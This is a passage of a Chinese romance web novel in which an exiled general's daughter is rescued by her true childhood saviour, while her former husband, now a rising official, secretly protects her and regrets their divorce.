虽然不知道他是出于什么原因不肯将真的那块归还,但想着反正也同样是萤石,这块就这块吧,于是她收好萤石,送客道:“行,我收下了。” 裴陆戟看着她欲言又止,最后还是一拂袖离开。 暗夜无星,回府的路上下起了星微雨丝,于皇城西井街错落有致的檐瓦上方划过,灰暗夜幕下像长了尾巴的银针似的。 裴陆戟没有打伞,也没有去马厩取马,就这样独自徒步回国公府,修竹擎着伞在后方追得气喘。 “世子!世子打把伞吧,这种天淋了雨还是容易受寒的,你手上的伤,被雨淋湿也难愈” 他转身,见修竹将一把草青色油纸伞递给他,他自己则擎着一把嫩黄色的,他不由皱了皱眉。 以前遇着这种天,擎着黄伞追上来的一般是戚央央,不管多夜多晚,她都会等到底。 但今日,他自己淋了雨,才发现淋雨的感觉原来是这样,黏黏湿湿的,还有点冷,很不好受。 她是因为知道这样淋雨不好受,才会这么多年一直坚持这么做? 他突然有些眷恋,她站在他身旁的感觉,他知道自己不该如此。 “怎么带的都是些颜色如此艳丽的?”在这种时候,他不大想看见这样颜色的伞。 “回世子,这些都是少夫都是戚姑娘以前准备的,就放在大寺衙门水房的那个竹篓里以备不时之需用的,以前是因为她老是亲自来,所以总没用得上,现在小小的没准备,就先拿这些来用着吧”修竹看了世子一眼,忐忑道。 见他站在雨中,不去接伞,也不言语,头上、发冠上、衣裳都几乎被细而密的雨打得湿透,手心缠上的绷带也湿了,有血水隐隐渗了出来,与雨水相融。 “世子,先用着吧,病了可就不好了”修竹再次试探性道,“明日小的会去安排另外的伞,撤换了衙门里的这些。” 听到这里,心脏再一次密密扎扎疼了起来。 换了这些伞听着就好像是要将她从他身边存在过的这些痕迹,撤换掉一样。 他慌忙去夺伞,却是直接将修竹手里那把嫩黄的夺过来。 “她没认出来,我还她的萤石。”他突然空洞地开口道,要么是对他已经不在意了,要么是因为懒得再纠缠。 “就是世子让小的们千里迢迢跑洛县去找来的石头?戚姑娘她没认出不是原来那一块?她这人最是细致了,不过这样不好吗?反正世子也找不到以前那块了,世子打算和离不是” “我没打算真要和离。” 他突然这么道。 “当年羌北活死人墓里出来的人,我不会让她找到的。” 他莫名其妙说了这句话,便擎着伞独自走进前方漆黑寂静的街头。 · 到了流放当天,犯人分两支队伍,前方队伍的队列,都是些获罪颇重的罪犯,有的甚至是获减刑而被发配的杀人犯,临行前,要在他们脸上刺字,刺明犯罪事由,被发配至边陲之后,通常脚绑上二三十斤枷锁,由官兵严格看管着终日从事苦力劳动,这基本上是沦为苦力奴隶,至死也不能回乡的了。 而后方队伍则是一些犯罪较轻,或者犯罪连坐的家属,这些就不必在脸上刺字,而且流放到边远地区所服劳役都是有期限的,期限一到,或是舍得花些钱还能活动一下关系回去的。 戚央央和甄氏就属于后者。 英国公一大早就守在城门下等了,一见甄氏和戚央央出来,立马带着人迎上去。 “燕儿,我差人给你们准备了好些东西,有几个奴仆,我让他们一路跟着你们去,以备不时之需” “还有,陀州那边我也差人打点好了,你们一到那边点个卯就可以回来了,不用做劳役,至于戚家和甄家的案子,我再想想办法。裴陆戟那逆子!我会收拾他的!” 甄氏把英国公递来的东西推开,“国公爷,不必了,我们这一路是去流放,带不得这么多东西的,你也别让那些奴仆跟着了。你虽然是英国公,但你这样做,让那些同样去流放的人看见,会怎么看我们?” “再说了,我们现在已经和离了,甄家和戚家都不在了,我还回来京城做什么?我和央央在陀州那边待着也挺好的,就不必回来了。” “还有啊戟儿他会变成今时今日这样的性子,我觉得你这个当父亲的责任也挺大的,养不教父之过,他小时候你也不知多关心多管教,长大了你还收拾什么?啊?管教什么?” “还是算了吧!” 甄氏一撇头,就不要看他了。 英国公拎着大袋包裹,急得在原地打转。 戚央央见状,带着枷锁过来宽慰道:“父国公爷,你别担心,我会照顾好我姨母的,东西这么多我们也拎不下,这些你拿走吧,前几日你不就给了我们一袋吗?我分开来悄悄藏进衣服里了” 英国公愣了,“前几日?我给过什么” “父亲。” 裴陆戟一袭绯色官袍从后方过来。 裴晟见了他脸黑了彻底,“别喊我父亲,我没有你这种狼心狗肺的儿子!” “你是不是以为自己这回这么做,讨好了太子和秦相,职位要升得比你父亲高,你就得意了?那为父还要恭喜你啊,即将上任的兵部尚书,裴大人!” 听着他即将高迁的消息,戚央央没什么多余的情绪,她一心想着的都是待会要如何配合沐江恩的事。 裴陆戟被父亲道破这些事的时候,面上虽然镇静,但余光一直在悄悄打量着旁边的人,见戚央央心思压根不在这里,他松口气的同时又有些未知名状的失落。 她如今已经这么无所谓了吗?就算是恨他也好,可她偏偏可以淡然得近乎冷漠。 这让他有种胸腔里塞满了棉花的感觉。 不过没关系的,一定没关系的,他安慰自己道,天下之大,这一路他又派了人好生看着,当年从羌北活死人墓出来的人,都被他找得八□□九了,这里其中有一半被问出来并不认识戚央央,有一半却早已死在当年战乱中,剩下的,不会那么刚好她的救命恩人就是那剩下的一成人里的 就算她当年的救命恩人真的没死,世上也断断没有这么恰好让她碰上的机会,一定不会的 第29章 他不愿意看着她离开他渐行渐…… 时辰一到, 城门大开,流放和发配的队伍要启程出发了。 裴陆戟最后时刻都没敢去看戚央央的背影,他不愿意看着她离开他渐行渐远的情景。 后来, 修竹无意中发现了自家主子紧握的拳头仿佛在颤抖不已,眼眶也有些微的红, 可只一瞬, 他又恢复如常, 拂开袍服大步地往回走。 走回衙门□□无人处, 才将暗卫残影召来, “再去确认一下, 荆王派去接应她们的那些人中可有人曾到过羌北。” “是。” 残影正要走,又被他喊回, “还有” “多派些人盯着,必要时帮忙拦截官兵, 务必保证她俩的安全。” 其实张白石埋汰他埋汰得没有错, 不管他出于什么由, 伤害了就是伤害了, 既然自己在做着伤害人家的事,就不要奢求还能再得到别人的爱意。 毕竟谁也没有义务必须永远对谁好, 裴陆戟他连自己的心意都不敢勇于承认,缺的就不止是一种爱人的能力那么简单了。 戚央央怀里一直揣着那天沐江恩给他的信, 一路都在忐忑着该如何跟姨母说。 从京城一路往陀州,即便英国公用银钱和关系疏通过,那些官兵大概率不会对她们有多刁难, 但一路上跣走这是不可免却的,半个月的路程走下来,所受的苦头也不少了。 就算抵达陀州以后很快就能返程, 那最快也得在那边待上数月,等这件事过去一些时日才能启程回来,到时候又是一顿舟车劳顿,再加上边境之地流民多,本就不大安全,遇上有流民奸淫掳掠的也不少,日子并不是想象的那么好过。 荆王的人半途带她们走,出于什么原因她现在暂时只能靠猜的,但她相信自己的救命恩人不会害她,跟他们走是一个机会。 一个或许能帮爹和兄长查明冤屈的机会。 只是,姨母和英国公恩爱了半辈子,如果真的就这么跟那些人走,可能就没有再相聚的机会了,但她无论如何是不放心姨母一个人去边境之地的。 “姨母” 趁着集体去解手的机会,戚央央把事情一五一十告诉甄氏。 甄氏的第一反应却是:“好!那很好啊!姨母跟你去,跟着荆王之后,你就能永远摆脱英国公府,摆脱裴晟他儿子对你的伤害了,他即使官再大,也断然不敢把手伸到荆王那边去的,他去了兵部,不在大寺了之后,你父兄的案子就有斡旋的机会了。” 说完,她又自知失言地道:“对不起,央央,我不该提他刚才得知他因为这案子讨好了秦相从而高升,你该难受了吧?” 戚央央摇摇头,果真像看开了似的:“世上阴险奸恶、忘恩负义的人多了去了,正好被我遇上一个也没什么好奇怪的,那我也不能因为运气不好,遇上一个这样的人,就生气气坏自己呀,都说了是阴险、忘恩负义的人,他会这么行事不也很正常吗?” “世事但求尽力而为,父兄的冤屈,能尽我所能去查明的话,我一定不会放弃,但要是我的能力还达不到,需要耐心等待那个机会的话,我也会耐心去等的,哪怕我用尽了一辈子的时间,只做一件有可能无望的事,我也会尽我所能,为父兄查明真相、洗刷冤情。” 甄氏这一刻看着她,仿佛自己原来从没真正了解过这个外甥女一样。 “刚才你说你已经找到真正的,当年救你的恩人那你,没想着要同他在一起成亲生子吗?” 毕竟她这个外甥女,在上一个十年的时间里,都在想着感情和男人的事。 “姨母,当年我以为他是那个曾救过我的人,我看着他性子与原来的已经大相径庭,就以为是因为那年我说了会马上去救他结果失约,他被人折磨导致,就没能救下恩人是那时候我心里最大的事。” “可是现在,父兄身上的污名和冤屈,才是我心中第一大的事,其次才是对恩人的愧疚补偿,更何况” 她默了默,带点怯意道:“过去的十年里,即便我再不懂,如今也总算得到过教训了” “感情之事本就不该强求,更不该将感情和报答混为一谈,那样没好结果的。” 甄氏听了甥女这样的话,阵阵心疼,倘若不是过去的十年受到过太多的伤害,她也不会由一个积极主动、热情大方的姑娘,变得对待感情如此畏缩。 她就该热烈地继续去追求自己的爱才是可如今变了,其实也不能说不是一件好事,至少以后不会再被男人左右了。 到了第三天,流放队伍即将进入隆裕关,这里北面有一片一眼望去连绵不绝的山野荒郊,还有一座巍峨耸峙的禺山。 听闻这里靠近北面嵩沙一些小国的国境,禺山里住了一些时常下山打劫的夷人,前些年皇帝派出了兵马去剿过匪,已经好多了,只是时隔数年,因为行山道那边修路,这条路自剿匪后再一次启用,谁也不知道会不会有危险。 于是,路过此处时,官兵自然多加小心堤防着,派上的人马也比往常要多。 可是没料到,世间之事还真的怕什么来什么。 一群奇装异服的外族人还是翻过禺山抢掠来了。 外族人目光只是锁定在前方那些犯过重大错事的发配犯人身上,落实、流箭,不断地从山上落下,进而成群从山上攻下。 “不好,那些人!是犯人鸩九的手下!” 鸩九是这一次发配的重刑犯之中的其中一人,此人原是嵩沙和晋人的杂种,来晋经商错杀害一个朝廷命官,后来那朝廷命官经查验是贪官,鸩九这才从死囚减刑发配边境做奴役。 因着前头有鸩九这些人在作乱,后方前来劫人的,那些官兵便力不从心,无暇顾及了。 沐江恩他们便是趁此时机悄悄前来劫人。 当时大批的兵士都跑前头帮忙去了,只余一些负责看管的小卒,压根就忙不过。 可恰在这时候,后来来了大批围堵的官兵,沐江恩他们差些失手,幸亏这时鸩九的手下劫完了人,便开始往后方抢掠兵器来了,新前来的大批官兵也只好加入狙击这些异族的队伍中,导致被沐江恩等人逃脱。 沐江恩用麻袋将戚央央裹起来,扛在肩膀上逃走。 一行人在鸩九那些手下的掩护下,成功躲过官兵追捕,往禺山上藏了起来。 歇息下来的时候,沐江恩气息不稳地问手底下的人:“那些夷人似乎跟王爷安排的数量不一致,似乎多了一倍不止,到底是怎么回事?” “是确实,方才交战的时候我也看见了,在其中有一些人根本就不是王爷安排的,似乎是有谁知道后面会有官兵追捕,特地安排了人来相助?” “会有谁知道这些?会有谁来帮忙?” 戚央央从麻袋里小心谨慎地露出头来,这里漆黑一片,难以视物,她又不如那些练武之人夜视能力好,幸亏身上还携带了一块漆暗里能发亮的萤石,把萤石从怀里掏出,就能让她看清楚这里的人和物。 她张望了一周发现没有看见姨母,拍了拍旁边沐江恩的肩膀:“沐大哥我我姨母呢?” 沐江恩见她手里竟有一块能发出光亮的石头,很是惊喜道:“戚妹妹,你手里的东西能否借我一用?刚刚为了躲避官兵,我们只能跳进一个巨大的山坑里,我们的人都在里面失散了,这里一点光亮都没有,找人也比较困难,前方有什么也难以看清。” 戚央央点点头,把手里的萤石给了他。 随后,她又想到什么似的,“对了,我身上还有火石可以生火,你们需要吗?” 将士们一听大喜,简直如逢甘露、雪中送炭。 等周遭的火炬次第亮起,这山坑里头的形势也就看清了,他们很快在一片低势之地找出了另外一支同他冲散了的队伍,也找到了甄氏。 甄氏是被背着跳下来的时候不慎摔下伤了腿,戚央央忽想起什么,又从衣裳里摸索起来。 “姨母!太好了,我这里有伤药,我先帮你上药吧!” 甄氏惊讶于她的高瞻远瞩,喟叹道:“央央啊,幸亏有你在。” 她给姨母上完药后,就由一个士兵背上甄氏往前走,沐江恩也走过来,在她面前伏下身子道:“戚妹妹,你要不要也上来,这山坑里路况不好,容易摔着,我来背你吧。” 甄氏笑着看了央央一眼,央央连忙摇头道:“不不必了,我自己走就行,沐大哥还是领着大家专心找出路吧。” 沐江恩没有走远,依然走在离她不远不近的地方,替她擎着火把照亮路。 甄氏看着二人,有种欣慰的感觉。 这山坑越是往下走,路就越复杂,走到最后,大家都甚至有些怀疑,不知道该不该这样漫无目地走下去。 “这里有暗河,往下走的话,一定能顺着暗河找到出去的通路的!大家不要灰心,至少,那些官兵看见我们掉下去,都以为我们必死无疑,谁知道这里头还有那样大一方天地。” 沐江恩开始宽慰众人道。 这时,戚央央从怀里摸出一些扎好的压缩得很小的干粮,将这些干粮分派给大家。 “大家都分着吃点吧,吃完才有力气继续走,听沐大哥的,定然能走出去。” 有个将士跳了出来,“可是,在里头走既看不见太阳,也找不到其他可以辨别方向的东西,我们再这么走也是瞎走啊!” 这巨坑中辽旷无比,大家走了许久仿佛又在走着原先走过的路似的,在里头根本没有任何可用以参照的物,这就使众人无比地气馁。 “方向吗?”戚央央嚼着干粮,突然眼睛又亮了亮。 “那这个呢?这个兴许能派上用场!”她从身上摸出一个能助辨别方向的小小罗盘。 第30章 他不可再扰乱她心神! 是个小巧的用虎骨木所制的小小罗盘, 上方有多种刻度,以吸磁石作为指针,不但能测方向, 测方位,还能判定天气和风向。 有了这罗盘, 大家再也不怕走不出这巨大漆黑的无底洞了。 “央央你这是何时张罗这种东西的?”甄氏很是纳闷, 她知道她家央央能干, 但管家经营那些才在行, 她竟不知她何时也如裴陆戟一般,喜欢涉猎天文地那些广袤的知识了? 大家顺着罗盘所指的方向走, 没多久,终于看到一片先前没见过的水域, 终于不再在原地兜转了。 可是没多久大家发现,这片水域里竟潜藏着许多水蛇。 那些水蛇在潮湿昏暗的环境下, 顺着滑石从水域朝将士们滑来。 “用火!用火烧!大家赶紧用火烧它们!” 谁知那些蛇压根不怕火似的, 还一个劲地往人身上爬, 从裤腿顺爬上来, 把人的腿越缠越紧,火红的舌头嘶嘶吐着。 火光下肉眼可见的头发丝那样多的水蛇, 一窝蜂地往人身上涌,甄氏也被吓得够呛, 就唯独在戚央央身边,那些蛇半点不敢靠近。 她又想起什么似的,这回从里衣的暗袋里翻出一个用手帕裹好的东西, 打开一看,发现竟是雄黄。 难怪那些蛇不敢靠近自己。 戚央央将那些雄黄,抠成小块小块分发给大家, 很快,那些蛇就退去,不敢再上前缠绕了。 “戚妹妹,你好像很熟悉这个地方,都提前知道这边什么环境和情况,还能备好了进此山坑所要用到的东西一样?” 沐江恩自愧弗如道。 甄氏也很好奇,“央央,你上哪弄来这么多奇怪的东西,被羁押期间你竟能往身上藏这么多东西?” 刚才见她拿出罗盘,甄氏就觉得奇怪了,没成想她竟连雄黄都有。 “是啊,”戚央央自己也感到诧异,摸摸自己身上的其他东西道:“我好像身上还带着药” 她把腰间塞的药包掏出,沐江恩嘱军中懂点医术的人过来看了看,尝了尝药粉,随后道:“这些是治蛇咬的解药。” “央央,你为何会备有这些东西?”甄氏此时按捺不住了。 戚央央想了想,“这些是国公爷给的。” “裴晟给的??”甄氏惊道。 那是流放前两日,裴陆戟来她的羁留室中,扔给她的,说是英国公让他拿来给她和姨母的。 “这个地方朝廷常年都有派人来剿匪的,国公爷知道这个地方是个什么情况也不奇怪,但是,他临行前明明说了陀州那边有安排,又如何能提前知道我们今日会落在这种地方呢?” 戚央央百思不得其解。 甄氏她心中惶惶,却又不敢对她说出更多。 她嫁来英国公府十多年,自然知道,英国公是剿过匪,但他从不曾参与过这禺山附近的剿匪。 要说到来禺山剿匪的话,倒是在太子十二岁那年,裴陆戟从羌北回来没两年,他就曾跟随过太子前往剿匪督军。 听说那会战况激烈,裴陆戟回来受了严重的伤,休养了好长一段时间,大概那时候也是像他们现在一样,误坠进这才逃过一劫,却在坑底吃尽了苦头。 而他居然能准备这些东西,证明今日她们的逃脱,也是裴陆戟一早就预料好,或者说是由他一手一脚推动的,可见他应该不是她当初想的那样,是为了报复她才做出那些事。 她看着央央如今跟沐江恩相处感情逐渐升温的样子,肯定不能对她说那样的话,再扰乱她心神。 不论如何,裴陆戟他都不值! · 相比于犯罪连坐的罪臣家属,一个杀人手段凶残,穷凶极恶的歹徒走失明显让官衙的失职更加严重。 罪臣家属不见,他们还能使点关系在陀州那边找几个人代替她们的活,干几年到期限了也就没人知道了,可那些必须锁着终身劳役的罪犯却不同。 官衙那边每隔个数年就要来检验的,死了倒还好,要是人活着,隔个几年再出现,他们是几条命都不够斩的。 所以这会儿官府的人都在忙着找鸩九,戚央央和甄氏的失踪倒是无暇再了。 戚央央和甄氏从那山坑走出去之后,就被沐江恩等人安排送往荆王的属地,封州。 封州虽然是极南之地,好歹距离柳州那边近了,等来日她洗清父兄冤屈,行动自由了之后,就能去柳州那边过平静安稳的生活。 戚央央和甄氏来到荆王府时,荆王已经在王府等候她们多时了。 “你们就是戚天明戚大将军的女儿和妻妹吧?”荆王提起戚将军时,眼神哀落,“上次在京城时,只远远地见过一次,如此看来,你俩倒都有几分像戚夫人,戚姑娘的话,眉宇间还有些戚将军的影子。” 这些年甚少再听人同她提起父亲的戚央央,眼眶没一会就红了,“荆王爷,我爹他他不是那种会贪军粮饷的人,求王爷明” “本王知道”荆王叹道:“要说起这件事,倒是本王害得戚将军死后也不得安宁,那些人之所以将罪行诬陷栽赃到戚将军身上,完全是冲着本王来的,本王一定会搜查证据,还戚将军和甄先生一个清白的。” “王爷若是有用得上央央的地方,央央万死不辞,定当全力助王爷的!”央央拜求道。 · 戚央央和甄氏被安排住在荆王府的风清园,同沐江恩住的前院仅仅隔了一个小院,从右边的小门就可以过去。 甄氏时常鼓励央央多去前院找沐江恩,“你不是想了解证据找得怎么样了吗?你多去找小恩这孩子问问呀,他不是救了你两次的救命恩人吗?你该同他多接触、多活络下关系才行。” 戚央央却显然犹豫不已,自打逃脱来到此地,她就老是有意无意躲着沐江恩,见了面也不知道该说什么话。 “你到底在怕些什么?”甄氏忍不住问道。 “我”戚央央有些无措,“我从前撞伤头失忆,把他给忘了,没能守约救出他不止,在过去的十年里,还把别人错认成他,以致于姻缘错付,像个笑话,我我再也没脸见他” “原来你没把我认出来是因为曾撞伤头失忆?这十年里你一直在找我?难道你嫁给英国公世子,是因为一直把人认成是我,才以身相许成了亲?” 她话落完,身后明朗饱满的声音传来,然后沐江恩人就如一道春光般投射到了面前。 他的笑容像是极富感染似的绽开:“原来我小时候长得跟裴世子很像吗?以至于你会错认,裴世子可是公认的大晋第一如玉公子啊,相貌谪仙般俊美绝伦,虽然我没亲眼见过他,但夸他好看的人我可听得耳朵起茧子了。” “这么说来,你会把他误认为我,我长得应该还不赖吧?” 他玩笑似的凑近朝她一笑。 他这一笑,惹得戚央央不禁抬眼打量起他来。 沐江恩此人虽然长得不如裴陆戟高,不如他皮肤白,甚至可以说是有些黢黑,五官没有很完美但也勉强算得上俊朗,还多了一丝裴陆戟所没有的武将的粗犷,一笑更是能融化冰雪。 不知怎地,她开始觉得,沐江恩比他长得更好看。 “不不是的,在我看来,你最是好看。” 她刚脱口而出此话,就不禁想打自己嘴巴一下。 不是说好了以后不能再犯同样的错误,绝不再犯花痴围着男人转,平生惹人厌烦吗? 更何况,她才刚刚和离,如果立马又对别的男子产生想法的话,岂不是会惹人轻视吗? 她不能叫真正的救命恩人厌恶她,不能再当痴心女,更何况,如今父兄的事才是最重要的,除此以外,她不去想别的。 “那个沐大哥这么好,将来也肯定能找到好女子嫁的,长得好不好都不重要” 她这画蛇添足的一句,引得沐江恩“噗”一声笑了出来,“即便我长得不如你那位前夫君,你也不必如此诚实吧?我可才是你的救命恩人,哄骗我一句让我高兴高兴也不行啊。” 他这样更是惹得央央羞涩满脸,低着头不知该说什么。 “好了,不逗你了,你还是同小时候一样不经逗,你想知道调查你父兄的案子情况进行得怎么样是吧?跟我来,我详细跟你说。” 这时候在京城那边,裴陆戟刚刚升任兵部尚书,受秦相接见。 “恭喜你啊,裴大人,年纪轻轻就坐上了兵部尚书的位置,前途不可限量啊。” 秦相将他扶起,笑道。 裴陆戟恭谨作揖,“晚辈也是受丞相大人推荐,如若没了丞相大人提携,晚辈什么也不是。” “贤侄过谦了,这些年,若不是你跟在太子身边,像淮南的洪灾、山陵的贼匪、化州的蝗祸,哪一桩太子不是在你的帮助下办得漂漂亮亮的?你干得了事,圣上不会不知晓。” “哦,对了,听说你和我侄女兰沁,准备议亲是吗?” 裴陆戟一听,眸光骤然变冷,再揖道:“回大人的话,下官刚刚才与犯罪连坐的内子和离,如今名声正是不好,恐怕好长一段时间都不会再考虑议亲,以免给人添麻烦。” “是吗?”秦丞相幽幽地看向门口处袅袅走来的人,“可是,我们家兰沁对你,可是已经仰慕已久,你俩兜兜转转这么多年,就真的要继续蹉跎下去吗?” 话说完,秦兰沁已经来到二人身边,“大伯父,裴世子。” “兰沁来了,那我就不打扰你们年轻人说话了。” 秦丞相刚走,裴陆戟眉头紧锁,也想着找些什么由然后开脱离开。 可秦兰沁却突然叫住他:“裴世子请留步!” 她从怀里,拿出了那个裴陆戟找寻已久的,装有萤石发出幽幽萤火的琉璃瓶子。 “世子可是一直在找它?” 30-40 第31章 他头回有种心乱如麻、六神无…… 当初在淮东与一辆车相撞之后就不知所踪的、后来他抓到那辆与他相撞的车的人怎么逼问都逼问不出来的琉璃瓶子, 突然就这么毫无预兆出现在他眼前。 他吃惊的表情只维持了一瞬,瞬即就想明白了。 “裴世子还不知道吧,你前往淮东前一天, 我来找过你,那时你被太子殿下叫走, 我趁着你直房没人, 这萤石是那时候被我拿走的。” “兰沁这次回来, 是下定了决心绝不辜负世子的, 可是世子如今却只会将目光放在戚氏身上,还时常在衙门拿出她送的石头来看, 难道就就因为她长得漂亮,所以你变心了吗?” “男人果然还是只喜欢长相妖艳的女子!”秦兰沁拿着琉璃瓶忿然背转过身。 裴陆戟盯着秦兰沁手里的琉璃瓶, 仿佛看见了戚央央看见自己费了大心思给他张罗来的萤石被送到了别的女子手上,那种失落难受的样子。 兴许, 她还被人当面奚落过、对他失望过、心死过, 兴许她当时提出和离, 并非是以退为进的手段, 而是这些年当真对他失望透顶,才会在明明还爱着的时候, 就已经无力再坚持下去了。 他还在懊悔自怨中,秦兰沁见他这样, 更是不爽开口道:“太子殿下原本是要世子娶昌华公主的,只是若世子要娶公主的话,戚氏就只能降妻为妾了, 世子你不忍,所以才拒了昌华公主,退而求其选择跟兰沁” “就因为兰沁曾负过你, 又是二嫁之身,可不必当正妻,也不影响戚氏的地位,是吗?” “或者你还当真有想过,先纳了我,先哄骗着秦家,等太子的位置稳固了,你随手将兰沁丢弃,就可继续跟你的戚氏恩恩爱爱的,是不是?!” 秦兰沁此时红着眼像个泼妇,已然没有了往日的温婉贤淑。 “你或许也不知道,在你去淮东之前,戚氏把那些和你一起去挑选的衣裳首饰,和你特地买给她的礼物,都一并送到我秦府去吧?” “可这并不能怪我,是你自己当日和她去买这些东西时,亲口说的——” 秦兰沁一字一句道:“你说,找她帮忙选一选,你说是因为我不方便出来,让她帮忙选的。” “没想到吧,那天我也在,听见了你们说的这番话。” “真是好笑,裴世子,裴大人,你想给自己的夫人买礼物,竟然要撒谎说是因为不方便同别的女子出来,让她帮忙选自己喜欢的,你究竟在怕什么?别扭什么呢?” “难道你连对她好,也这么没勇气让她知道吗?” “你既这么看不起她,却又控制不住要爱她,爱了又畏畏缩缩的不敢承认,不敢光明正大待她好,那我秦兰沁又算什么呢?” “是不是你拿来喜欢戚氏的遮掩布??”秦兰沁失声道。 “兰沁,”裴陆戟语调冰冷,甚至听不出情绪起伏,“你其实也并不是真的想嫁我,不是吗?在淮东的时候,你看着我病情发作,其实已经打退堂鼓,写信给你大伯想悔掉这亲事了,不是吗?” 秦兰沁一怔。 她以为那时候他病情发作自顾不暇,根本没办法留意她,没想到他竟连这点都知道。 她脸憋得很好,低着头,咬紧唇,揪紧裙角,“那那只是” “不错!我确实不想嫁给一个有癫病的疯子!可我有什么错?你这种人,懂得什么是爱吗?我以前待你多好,可你回头看过我一眼了吗?每次都是我自己主动找上门去见你,你也不一定领情!但凡你能待我好些,多看我一眼,当年我也可能不会这么坚决要退婚” “你以为谁都是戚氏,谁都像她那样傻,追逐一个冷情冷肺,压根不会给她回应的人,忍受着日复一日、年复一年的失望,也能坚持十年之久吗??” “她这种人,就是一个彻头彻尾的大傻子!活该她遇上你!” 秦兰沁泄愤般说完这话转身想跑,却被裴陆戟“砰”一声推倒她前边的博古架,将她拦截。 “把我的东西,”他阴着脸,缓缓朝她的方向摊开手,寒声道,“还来!” · 裴陆戟抱紧怀里失而复得的琉璃瓶,紧步走出丞相府。 失而复得的感觉是好的,但同时,内心也有一种隐晦的刺痛,秦兰沁的话像一记记闷锤敲在耳边,击在心口,把心脏锤敲得几乎窒息不会跳动。 原来他是,这样吗? 日复一日面对他这样没有回应,连水花都没有的感情真的让人绝望到不想再回头吗? 他始终觉得秦兰沁的那番话还嗡嗡地在耳边响着:“你可知道,为何你都那样明确暗示她,那就是给她选的衣裳和首饰,她还依然将你一开始口不对心的话信以为真,且坚定不移呢?” “那是因为,她追逐你的时间长了,收到的失望也攒够了,自然而然,就断绝了自己对你一切的幻象,哪怕那是真的,她意识里也再也不会相信了。” 所以就算她没找到那个“真正的”救命恩人,也还是会离开他,再也不回来了吗? 想到这里,裴陆戟没由来地心慌,行事向来运筹帷幄的他,头回有种心乱如麻、六神无主的感觉。 他加快了脚步,只想赶紧回去,派暗探悄悄前往荆王属地打探戚央央的消息。 · 荆王派人调查戚天明贪军粮饷一案,当年朝廷让他拨兵马参与车壁大役,他派出戚将军为主力,受朝廷拨发军粮,但那个时候,朝廷已经欠了数月军粮没拨发,戚将军一队伍又被围困在彭州那边,封州那边又轻易不能运输粮食过去,能求助的只有彭州那附近的甄立康,也就是戚央央她外祖。 “当时边境的士兵都饿好些天,你外祖只能变卖了一些家产,拿出自己私产去给前线的士兵作粮饷,许多都卖给魏国那些与你外祖有生意往来的老主顾,可现在那些魏国的老主顾却纷纷反口,说是你外祖将军饷往他们那边送,去魏国购置了田产宅子,这要细查的话就得往魏国那边查,当年许多老主顾都不在了,剩下那些被收卖了肯定也不会配合你查的,现在是死无对证。” “王爷,那现在就没有任何办法了吗?”央央急道。 “也不是完全没办法,本王的人还查到,当年情况紧急,不少军人口中的粮也是你娘手里的商铺直接采买的,只要拿到证明戚将军当年自掏腰包给自己军士买粮的证据,兴许就能推翻此案,甚至拿这些证据去魏国那边交涉,要求那边配合调查。” “那有什么事情是王爷需要民妇做的,民妇一定万死不辞!” “彭州,那边有家很有名的卖婚庆用品的店,叫天成阁,从前就是你母亲的,本王的人去出面的话,他们怕是不肯把真的账目拿出来,反倒会打草惊蛇,本王需要一个生面孔的,拿钱去将铺子买下来。” 戚央央家财被抄了,如今身无分文,荆王说拿钱给她将自家曾经的铺子买回来的时候,她有些拒不敢收。 王爷就笑道:“本王给你的,都是沐将军上回立了功的赏钱,他一个糙汉平日里又花不了几个钱,钱不给女人花给谁花?” 戚央央一听,满脸红晕连忙解释道:“回王爷,民妇和沐大哥不是” “行了,彭州那一路,他护送你去本王比较放心,就别推搪了。” 就这样,戚央央和沐江恩被荆王派去了彭州购置商铺,从荆王的属地封州到彭州一路还要隐姓埋名,二人只好伪装成兄妹。 二人成功抵达彭州这座老城,一踏进那座青灰石板砌成的高大城门,央央的眼泪就止不住潸然地落。 “以前以前这里就是一座用夯土垒的古老城门,墙体的土都黄得脱落剥落,旧得不行了,是我爹爹带着将士来这里挑青石板帮百姓建的,那时候我才几岁,坐在爹爹肩膀看过将士拆夯土墙呢,那黄灰大的呀” 央央带着哭腔,“如今新建的青石砖城墙都旧了,我也终于回到这里” 沐江恩看着她哭,贴心地递过一张手帕,“别哭,我家也在这边的,以后我从王爷那里退役,就带你一起回这边住,咱相互间有个照应如何?” 见她不说话,铁汉子登时也有些害羞似的挠挠头,“那个若你还是放不下京城那边” 戚央央摇摇头,“我若是说我已经彻底不想回京城,并且才刚和离就就已经彻底不念想那个人了你会不会觉得我很无情?” 话越说到最后,她的声音越小。 她甚至都不敢将真实想法如盘托出,只敢模糊一下,说是不念想,若说是厌恶和厌烦的话,不知沐大哥会不会觉得她太无情。 其实她也不知道为何会这样,反正就是一得知他不是当年那个救她的人,她心里的那种执拗不悟的情感就一下子泄掉,泄得干干净净的。 “如果他不是良人的话,那就不值得我们小央用心去爱,何来无情一说呢?” 沐江恩行事和说话永远都那么让人温暖、如沐春风。 “对不起,我记得小时候听你兄长们这么叫过你,我以后叫你小央,你会不会介意?” 戚央央觉得自己已经好久没听人这么叫过她了,这一刻她真的觉得兄长就在跟前这么唤着她似的,泪流满面。 她心里甚至已经悄悄地在想着,要是她嫁的人是沐大哥,而不是裴陆戟该有多好,但同时她又开始害怕,她怕自己万一又故态萌发,对沐江恩痴缠不已,怕自己又会沦为如今的下场。 因为着急和无措,她的泪越流越多。 见她落泪,他以为自己惹恼了她,慌忙用帕子去替她擦泪:“对不起,小丫头,你不喜欢我这么叫,我不叫便是,你你别哭啊” 这一幕,被不远处的一个人瞧了个正着。 第32章 他才发现他们真的和离了,以…… 这人便是彭州城内有名的天成阁掌柜, 郝玉叄。 今日,这天成阁掌柜郝玉叄专程拉着店里大帮伙计,来城楼附近物色适龄女子试穿店里新制的婚服。 戚央央便是这样被他看上的。 “姑娘, 你便是今日我店里‘火凤凰’的最佳主人,请你和你夫君赏脸来我店里试穿一下吧, 我们会给你一定酬劳的。” 本想拒绝之际, 便听有人好生艳羡地告诉她:“姑娘啊, 这位是彭州天成阁的郝掌柜啊, 我们彭州这座旧城,全靠着郝掌柜这好手艺, 名声才遍布各州,不少豪贵之家嫁女娶媳妇都不远千里跑来这里请郝掌柜去做婚服, 郝掌柜都不一样答应呢。” “对呀,这天成阁给人做婚服, 可不是谁都给做的, 得合店里掌柜的眼缘才给做, 许多富贵人家的, 豪掷百两,天成阁都不一定肯让他家姑娘穿上他店里的婚服, 姑娘,你能得他家掌柜青眼, 试穿婚服,这是多少人想求都求不到的!” 话说,这天成阁掌柜确是每到店内新式样婚服制成的那天, 就会以抓阄的方式挑选这天选人的地点,然后在那边守候,只要能遇上被他看上的人, 